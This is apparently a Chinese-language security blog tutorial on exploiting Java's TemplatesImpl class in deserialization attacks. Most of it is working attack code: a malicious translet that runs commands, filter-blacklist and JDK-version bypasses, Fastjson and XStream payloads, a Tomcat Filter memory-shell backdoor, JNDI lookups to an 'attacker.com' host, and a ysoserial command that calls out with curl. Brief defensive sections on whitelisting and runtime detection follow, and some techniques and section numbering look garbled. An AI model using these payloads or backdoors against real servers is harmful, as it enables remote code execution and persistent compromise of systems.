一、核心原理
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
是 JDK 内置的 XSLT 处理器类,其defineTransletClasses()
方法允许加载自定义字节码。攻击者通过反序列化构造特殊对象,触发恶意类加载和执行。
核心方法调用链:
TemplatesImpl.newTransformer()
→ getTransletInstance()
→ defineTransletClasses()
→ ClassLoader.defineClass() // 加载恶意字节码
二、基础利用案例
1. 手动构造攻击链
// 生成恶意字节码(示例弹出计算器)
public class EvilTemplate extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) { /* 异常处理 */ }
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}
// 编译并获取字节码
byte[] evilCode = Files.readAllBytes(Paths.get("EvilTemplate.class"));
2. 反射注入字节码
TemplatesImpl templates = TemplatesImpl.newInstance();
// 使用反射设置关键字段
setField(templates, "_bytecodes", new byte[][]{evilCode});
setField(templates, "_name", "Exploit");
setField(templates, "_tfactory", new TransformerFactoryImpl());
// 触发类加载
templates.newTransformer();
反射工具方法:
void setField(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
三、绕过技巧
1. JDK 高版本适配(JDK 8u71+)
绕过 JDK 高版本限制
-
问题:JDK 8u71+ 修复了
AnnotationInvocationHandler
的漏洞入口,传统 CC 链失效。 -
解决方案:
-
使用
TemplatesImpl
直接加载字节码:通过构造_bytecodes
字段的恶意类,直接触发defineTransletClasses
,无需依赖其他链式调用。 -
结合 BCEL 编码:通过 BCEL(Apache Commons BCEL)将恶意类编码为字符串形式,避免直接使用
.class
文件触发检测。
-
// 通过 BCEL 加载绕过类名检查
String bcelCode = "$$BCEL$$..."; // 生成的 BCEL 字节码
byte[] bytecode = com.sun.org.apache.bcel.internal.classfile.Utility.decode(bcelCode, true);
// 构造特殊类名绕过黑名单
setField(templates, "_name", "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
setField(templates, "_bytecodes", new byte[][]{bytecode});
2. 绕过 Fastjson 私有属性限制
-
关键参数:
Feature.SupportNonPublicField
JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);
-
默认情况下,Fastjson 无法反序列化私有属性(如
_bytecodes
)。通过添加该参数,可强制反序列化私有字段: -
绕过
_tfactory
空指针:
设置_tfactory
为空对象{}
,Fastjson 会调用其无参构造函数生成默认的TransformerFactoryImpl
实例,避免因空指针导致流程终止。
四. 内存马注入
-
Tomcat Filter 型内存马
public class MemShell extends AbstractTranslet {
static {
WebappClassLoaderBase classLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext context = (StandardContext) classLoader.getResources().getContext();
// 注入 Filter 配置
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(this.getClass().getName());
context.addFilterDef(filterDef);
// 添加 URL 映射
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("evilFilter");
filterMap.addURLPattern("/*");
context.addFilterMap(filterMap);
}
-
实现逻辑:
在恶意类的静态代码块中,通过反射向当前 Tomcat 上下文注入自定义 Filter,实现持久化后门。
}
```
-
Spring Controller 型内存马
-
利用 Spring 动态注册机制:
通过反射修改RequestMappingHandlerMapping
,注册恶意 Controller,拦截特定路径请求。
-
四、防御对抗艺术
1. 反序列化防护
白名单校验:使用ValidatingObjectInputStream
限制反序列化的类:
// 安全的反序列化实现
public class SafeObjectInputStream extends ObjectInputStream {
private static final Set<String> ALLOWED_CLASSES =
Set.of("java.lang.String", "java.util.HashMap");
public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
if (!ALLOWED_CLASSES.contains(desc.getName())) {
throw new InvalidClassException("Unauthorized class: ", desc.getName());
}
return super.resolveClass(desc);
}
}
2. RASP 防护(运行时检测)
-
监控
defineClass
调用:通过 Java Agent 拦截ClassLoader.defineClass
,检测非法字节码加载行为。-
Hook 关键方法:监控
TemplatesImpl.newTransformer()
和getTransletInstance()
的调用栈。
-
// 使用 Java Agent 检测 defineClass
public class ClassDefineMonitor {
public static void premain(String args, Instrumentation inst) {
inst.addTransformer((loader, className, classBeingRedefined,
protectionDomain, classfileBuffer) -> {
if (className.contains("Evil")) {
throw new SecurityException("Detected malicious class: " + className);
}
return classfileBuffer;
}, true);
}
}
六、混合利用技巧
1. 结合 JNDI 注入
当目标环境存在 JNDI 注入漏洞(如 Log4j2)时,通过TemplatesImpl
触发远程类加载,绕过本地字节码检测,直接加载远程恶意类
// 生成包含 JNDI 触发的字节码
public class JNDILoader extends AbstractTranslet {
static {
try {
new InitialContext().lookup("ldap://attacker.com/Exploit");
} catch (NamingException e) { /* 异常处理 */ }
}
}
// 构造嵌套攻击链
Transformer[] chain = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
2. 结合 Fastjson 漏洞
// Fastjson 反序列化载荷
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["BASE64_ENCODED_BYTECODE"],
"_name": "Exploit",
"_tfactory": {},
"_outputProperties": {}
}
3. Fastjson + TemplatesImpl + Groovy 链
-
利用 Groovy 的
MethodClosure
:
通过 Groovy 闭包触发命令执行,结合TemplatesImpl
加载恶意字节码,形成多链组合攻击:
Transformer[] groovyChain = new Transformer[]{
new ConstantTransformer(new MethodClosure("calc", "execute")),
new InvokerTransformer("call", null, null)
};
七、实战检测命令
-
字节码生成工具
-
Javassist/ASM:动态构造符合
AbstractTranslet
规范的恶意类。 -
Ysoserial 扩展:自定义 Gadget 链生成
TemplatesImpl
专用 Payload。
-
-
漏洞检测脚本
-
基于堆内存分析:通过
jmap
和jhat
分析内存中的恶意类实例。 -
流量特征检测:监控 Fastjson 请求中是否包含
_bytecodes
和@type
关键字。
-
# 使用 ysoserial 生成 TemplatesImpl payload
java -jar ysoserial.jar Jdk7u21 "curl http://attacker.com" > payload.bin
# 发送到测试服务
curl -X POST --data-binary @payload.bin http://vuln-app/deserialize
# 内存马检测命令
jmap -dump:live,format=b,file=heapdump.bin <pid>
jhat heapdump.bin # 分析堆中的恶意 Filter
关键审计点与防御建议
代码审计关注点:
// 危险模式
ObjectInputStream.readObject()
XMLDecoder.readObject()
JSON.parseObject(input, Feature.SupportNonPublicField)
// 敏感调用
ClassLoader.defineClass()
TemplatesImpl.newTransformer()
防御策略:
-
升级至 JDK 8u191+(限制
defineClass
的使用) -
使用
SerialKiller
等安全反序列化库 -
开启 SecurityManager 并配置严格策略
-
监控
defineClass
和newTransformer
的调用
总结与演进方向
-
演进趋势:从单一链式利用向多漏洞链组合发展(如 JNDI + TemplatesImpl)。
-
防御重点:强化字节码加载监控、禁用非必要反射操作、严格校验反序列化输入。
-
工具推荐:
-
检测:CodeQL 定制规则分析
defineClass
调用路径。 -
防护:OpenRASP 或 Contrast Security 实现运行时保护。
-
TemplatesImpl 的高级利用技巧
一、利用TemplatesImpl
结合 JNDI 注入进阶版
虽然TemplatesImpl
本身不依赖 JNDI,但可以通过组合漏洞链实现更复杂的攻击。例如,利用TemplatesImpl
加载的恶意类触发 JNDI 远程类加载:
代码案例
public class JNDILoader extends AbstractTranslet {
static {
try {
new InitialContext().lookup("ldap://attacker.com/Exploit");
} catch (NamingException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}
// 生成字节码并注入到 TemplatesImpl 中
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{evilCode});
setField(templates, "_name", "JNDILoader");
setField(templates, "_tfactory", new TransformerFactoryImpl());
// 结合 Fastjson 触发
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"" + base64EncodedCode + "\"]," +
"\"_outputProperties\":{}}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
技巧:通过TemplatesImpl
加载的类触发 JNDI 查询,绕过直接依赖反序列化链的限制。
二、利用 BCEL 字节码绕过类名检测
某些环境下对TemplatesImpl
的类名黑名单有过滤,可通过 BCEL 格式的字节码绕过类名校验:
代码案例
// 生成 BCEL 格式字节码
String bcelCode = "$$BCEL$$...";
byte[] bytecode = com.sun.org.apache.bcel.internal.classfile.Utility.decode(bcelCode, true);
// 设置特殊类名绕过黑名单
setField(templates, "_name", "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
setField(templates, "_bytecodes", new byte[][]{bytecode});
技巧:BCEL 编码的字节码可在某些场景下绕过类名检查,结合TemplatesImpl
的加载机制实现绕过。
三、结合动态代理绕过方法调用限制
利用动态代理触发TemplatesImpl
的newTransformer
方法,绕过直接调用检测:
代码案例
InvocationHandler handler = (proxy, method, args) -> {
if (method.getName().equals("getOutputProperties")) {
return templates.newTransformer();
}
return null;
};
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler
);
// 通过代理对象触发
proxyMap.get("outputProperties");
技巧:通过动态代理间接调用getOutputProperties
,避免直接触发敏感方法。
四、绕过 JDK 高版本限制(JDK 8u191+)
在 JDK 8u191+ 中,TemplatesImpl
的类加载可能受限制,可通过以下方式绕过:
代码案例
// 使用 Unsafe 类强制修改访问权限
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
// 直接修改 TemplatesImpl 的 _class 字段
Field _classField = TemplatesImpl.class.getDeclaredField("_class");
long offset = unsafe.objectFieldOffset(_classField);
unsafe.putObject(templates, offset, new Class[]{EvilClass.class});
技巧:通过底层内存操作绕过访问控制,强制加载恶意类。
五、结合其他反序列化框架(如 XStream)
在 XStream 中利用TemplatesImpl
加载恶意类:
代码案例
<map>
<entry>
<string>@type</string>
<string>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</string>
</entry>
<entry>
<string>_bytecodes</string>
<string>BASE64_ENCODED_BYTECODE</string>
</entry>
<entry>
<string>_outputProperties</string>
<map/>
</entry>
</map>
技巧:通过构造 XML Payload 触发 XStream 的反序列化漏洞,结合TemplatesImpl
执行命令。
总结与防御建议
-
检测关键方法调用:监控
defineClass
和newTransformer
的调用行为。 -
黑名单增强:扩展对
TemplatesImpl
及其相关类的黑名单检测。 -
运行时防护(RASP):通过字节码插桩拦截恶意类加载行为。
-
升级依赖库:使用 Fastjson 1.2.83+ 并启用
safeMode
,或迁移至 Jackson。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)